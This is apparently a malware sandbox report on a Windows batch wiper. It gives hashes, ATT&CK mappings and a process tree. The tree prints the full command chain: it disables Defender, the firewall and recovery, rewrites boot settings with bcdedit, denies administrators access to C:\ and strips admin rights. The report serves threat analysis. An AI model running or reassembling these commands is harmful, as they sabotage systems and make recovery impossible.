519cacd62b248b708e1b0587fc5327dc5e154d65d58b1e9aac3b4acf675ccdc5

Analysis

max time kernel
150s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/11/2026, 04:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wiper.bat
Size 4KB
Sample261112-ex3mkady7t
SHA256 519cacd62b248b708e1b0587fc5327dc5e154d65d58b1e9aac3b4acf675ccdc5
MD5 dfe5e4e38d0406284c6dba40f64844e0
SHA1 e000cbe8d96274cb259ecf2b1574678056855134
SHA512 0ca99c396ed0cb53491f73b9cc135e07e0b43f9f50c555f317553e02cd42de190caf2578d01d9aff53b841c2b48341480d316b120fed044f661380ada14b7cea
SSDEEP 96:YdQmqNvLezzAi5fO6s67RAkHVKtsAMKHlXAsHFnAIkiVjdk4B9mH4Zz9G3SFhTez:r1iXAw2M7RAkHVKtsAMKHlXAsHFnAI7u
TLSH
T18C91724379514ED9D691BEF390EB4611E69AA34FB8003FD1B2C81288E906358CB379ED
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit persistence privilege_escalation ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3260	bcdedit.exe
4372	bcdedit.exe
3200	bcdedit.exe
1668	bcdedit.exe
2756	bcdedit.exe
3436	bcdedit.exe
5508	bcdedit.exe
3548	bcdedit.exe
3052	bcdedit.exe
3540	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
252	netsh.exe

Possible privilege escalation attempt 13 IoCs

exploit

pid	Process
3300	takeown.exe
5600	takeown.exe
2924	takeown.exe
2332	icacls.exe
1372	takeown.exe
464	takeown.exe
2536	icacls.exe
2656	icacls.exe
3120	icacls.exe
6096	icacls.exe
2424	takeown.exe
2460	icacls.exe
1936	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 13 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2924	takeown.exe
1372	takeown.exe
6096	icacls.exe
2424	takeown.exe
2460	icacls.exe
1936	icacls.exe
3300	takeown.exe
2536	icacls.exe
2656	icacls.exe
2332	icacls.exe
3120	icacls.exe
464	takeown.exe
5600	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Control Panel\Desktop\Wallpaper	reg.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft\Edge	attrib.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2836	powershell.exe
5416	powershell.exe
5976	powershell.exe
3452	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4296	sc.exe
4736	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5500	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1968	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2836	powershell.exe
2836	powershell.exe
5416	powershell.exe
5416	powershell.exe
5976	powershell.exe
5976	powershell.exe
3452	powershell.exe
3452	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	3452	powershell.exe
Token: SeTakeOwnershipPrivilege	5600	takeown.exe
Token: SeTakeOwnershipPrivilege	2924	takeown.exe
Token: SeTakeOwnershipPrivilege	1372	takeown.exe
Token: SeTakeOwnershipPrivilege	464	takeown.exe
Token: SeDebugPrivilege	1968	taskkill.exe
Token: SeSystemEnvironmentPrivilege	4784	svchost.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 5500 wrote to memory of 5832	5500	cmd.exe	90
PID 5500 wrote to memory of 1896	5500	cmd.exe	91
PID 5500 wrote to memory of 1144	5500	cmd.exe	92
PID 5500 wrote to memory of 4956	5500	cmd.exe	93
PID 5500 wrote to memory of 400	5500	cmd.exe	94
PID 5500 wrote to memory of 236	5500	cmd.exe	95
PID 5500 wrote to memory of 252	5500	cmd.exe	96
PID 5500 wrote to memory of 4296	5500	cmd.exe	97
PID 5500 wrote to memory of 4736	5500	cmd.exe	98
PID 5500 wrote to memory of 6032	5500	cmd.exe	99
PID 5500 wrote to memory of 4628	5500	cmd.exe	100
PID 5500 wrote to memory of 3300	5500	cmd.exe	101
PID 5500 wrote to memory of 2536	5500	cmd.exe	102
PID 5500 wrote to memory of 2836	5500	cmd.exe	103
PID 5500 wrote to memory of 5416	5500	cmd.exe	104
PID 5500 wrote to memory of 5976	5500	cmd.exe	105
PID 5500 wrote to memory of 3452	5500	cmd.exe	106
PID 3452 wrote to memory of 8	3452	powershell.exe	107
PID 5500 wrote to memory of 5600	5500	cmd.exe	109
PID 5500 wrote to memory of 2656	5500	cmd.exe	110
PID 5500 wrote to memory of 2924	5500	cmd.exe	111
PID 5500 wrote to memory of 2332	5500	cmd.exe	112
PID 5500 wrote to memory of 1372	5500	cmd.exe	113
PID 5500 wrote to memory of 3120	5500	cmd.exe	114
PID 5500 wrote to memory of 464	5500	cmd.exe	115
PID 5500 wrote to memory of 6096	5500	cmd.exe	116
PID 5500 wrote to memory of 1120	5500	cmd.exe	117
PID 5500 wrote to memory of 1672	5500	cmd.exe	118
PID 5500 wrote to memory of 5360	5500	cmd.exe	119
PID 5500 wrote to memory of 1968	5500	cmd.exe	120
PID 5500 wrote to memory of 3192	5500	cmd.exe	122
PID 5500 wrote to memory of 3260	5500	cmd.exe	124
PID 5500 wrote to memory of 4372	5500	cmd.exe	125
PID 5500 wrote to memory of 3200	5500	cmd.exe	126
PID 5500 wrote to memory of 1668	5500	cmd.exe	127
PID 5500 wrote to memory of 2756	5500	cmd.exe	128
PID 5500 wrote to memory of 2424	5500	cmd.exe	129
PID 5500 wrote to memory of 2460	5500	cmd.exe	130
PID 5500 wrote to memory of 3436	5500	cmd.exe	131
PID 5500 wrote to memory of 5508	5500	cmd.exe	132
PID 5500 wrote to memory of 3548	5500	cmd.exe	133
PID 5500 wrote to memory of 3052	5500	cmd.exe	134
PID 5500 wrote to memory of 3540	5500	cmd.exe	135
PID 5500 wrote to memory of 1936	5500	cmd.exe	136
PID 5500 wrote to memory of 2388	5500	cmd.exe	137
PID 2388 wrote to memory of 2436	2388	net.exe	138

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4628	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wiper.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5500
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:5832
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
  2⤵
  PID:1896
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" /v NoToastApplicationNotification /t REG_DWORD /d 1 /f
  2⤵
  PID:1144
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "0 0 0" /f
  2⤵
  PID:4956
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:400
- C:\Windows\system32\rundll32.exe
  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
  2⤵
  PID:236
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:252
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4296
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4736
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:6032
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Program Files (x86)\Microsoft\Edge" /s /d
  2⤵
  - Drops file in Program Files directory
  - Views/modifies file attributes
  PID:4628
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Program Files (x86)\Microsoft\Edge\Application" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3300
- C:\Windows\system32\icacls.exe
  icacls "C:\Program Files (x86)\Microsoft\Edge\Application" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-AppxPackage -AllUsers *Microsoft.WindowsStore* | Remove-AppxPackage -ErrorAction SilentlyContinue"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-AppxPackage -AllUsers *Microsoft.WindowsCalculator* | Remove-AppxPackage -ErrorAction SilentlyContinue"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-AppxPackage -AllUsers *Microsoft.Paint* | Remove-AppxPackage -ErrorAction SilentlyContinue"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-AppxPackage -AllUsers *windows.immersivecontrolpanel* | Remove-AppxPackage -ErrorAction SilentlyContinue"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3452" "2036" "2360" "2316" "0" "0" "2016" "0" "0" "0" "0" "0"
    3⤵
    PID:8
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\regedit.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5600
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\regedit.exe" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2656
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\devmgmt.msc"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\devmgmt.msc" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2332
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\cmd.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1372
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\cmd.exe" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3120
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:6096
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:1120
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
  2⤵
  PID:5360
- C:\Windows\system32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3192
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3260
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4372
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3200
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1668
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} bootmenupolicy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2756
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Recovery" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2424
- C:\Windows\system32\icacls.exe
  icacls "C:\Recovery" /grant administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2460
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} nointegritychecks on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3436
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5508
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} optionsranges no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3548
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {bootmgr} displayorder
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3052
- C:\Windows\system32\bcdedit.exe
  bcdedit /set bootux disabled
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3540
- C:\Windows\system32\icacls.exe
  icacls "C:/" /deny administrators:(OI)(CI)F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1936
- C:\Windows\system32\net.exe
  net localgroup administrators Admin /delete
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators Admin /delete
    3⤵
    PID:2436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 520580d1cd77148f7d9f37f94f009e455e3dac9e081cf5934c1fa454975251be
MD5 66f1a684caf87eb4f640f1ccde9d1ca6
SHA1 774dfd65951d6c0e05fdf9662473d842a6a69ace
SHA512 cfe03abd114c1bdd03559a6bb98edb553db9b859430694e20820f21e9178301521d270a7ea3455cbb836d995e718183839cac197db0ebac255e92e04638554d5
TLSH
T16E412C67B3CC8AA7D95410365C9EAC1132F6CF9B405ECED73B85CD1CE01FA848B62294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 4a76e3bf233f63f419683017867ce09d9c903e3114aada528c042b8f8b525494
MD5 c5e9161d9db291dfcfa1883a32f22825
SHA1 ab115bf367094c08631da2c4d0be27642002f8d0
SHA512 d2405eacd4e24cf2538d1d51c45f2bff85eb9420cea642fd1674c179502f13387c3b9f6cb12bc65ba48d5a9c17e761819b1e4f83dd628af3e069d57aee2b6ffb
TLSH
T167410E67B3CC8AA3D55494369C9ADC32B2B5CA970999CDC73B84CC1CF02F6858A62151
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 db2870564c4daf23de4b92370f111caba934e0ae82f4e763e24d0004a442981b
MD5 b156468bf47e943965488511c3389068
SHA1 5d38d5601f62ae573219ff8005a2a8b7c5b45f2f
SHA512 781d8415275789ed5b3be700d6c6cba95f839b5acaca0ca9cf6272b31a8b8463cd6bd44b581a5d524622e8a048a6067c79698af2feef839b338637dac43c1516
TLSH
T127413177B3CC8A93D95590369C9EDC22B2B5CED70A99CDC73B84CC2CF02F6858A62150
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_joker1se.lwn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_joker1se.lwn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2836-15-0x0000017DCF940000-0x0000017DCFB44000-memory.dmp

Download

memory/2836-16-0x0000017DCF440000-0x0000017DCF45A000-memory.dmp

Download

memory/2836-17-0x0000017DCF760000-0x0000017DCF78A000-memory.dmp

Download

memory/2836-18-0x0000017DCF340000-0x0000017DCF348000-memory.dmp

Download

memory/2836-19-0x0000017DCF350000-0x0000017DCF356000-memory.dmp

Download

memory/2836-20-0x0000017DCF420000-0x0000017DCF42A000-memory.dmp

Download

memory/2836-21-0x0000017DCF430000-0x0000017DCF438000-memory.dmp

Download

memory/2836-22-0x0000017DCF490000-0x0000017DCF4B6000-memory.dmp

Download

memory/2836-14-0x0000017DCF360000-0x0000017DCF412000-memory.dmp

Download

memory/2836-13-0x0000017DCF340000-0x0000017DCF35E000-memory.dmp

Download

memory/2836-3-0x0000017DB6F70000-0x0000017DB6F92000-memory.dmp

Download

memory/3452-65-0x000001F6371D0000-0x000001F6371D8000-memory.dmp

Download

memory/5500-74-0x00007FF616680000-0x00007FF6166EF000-memory.dmp

Download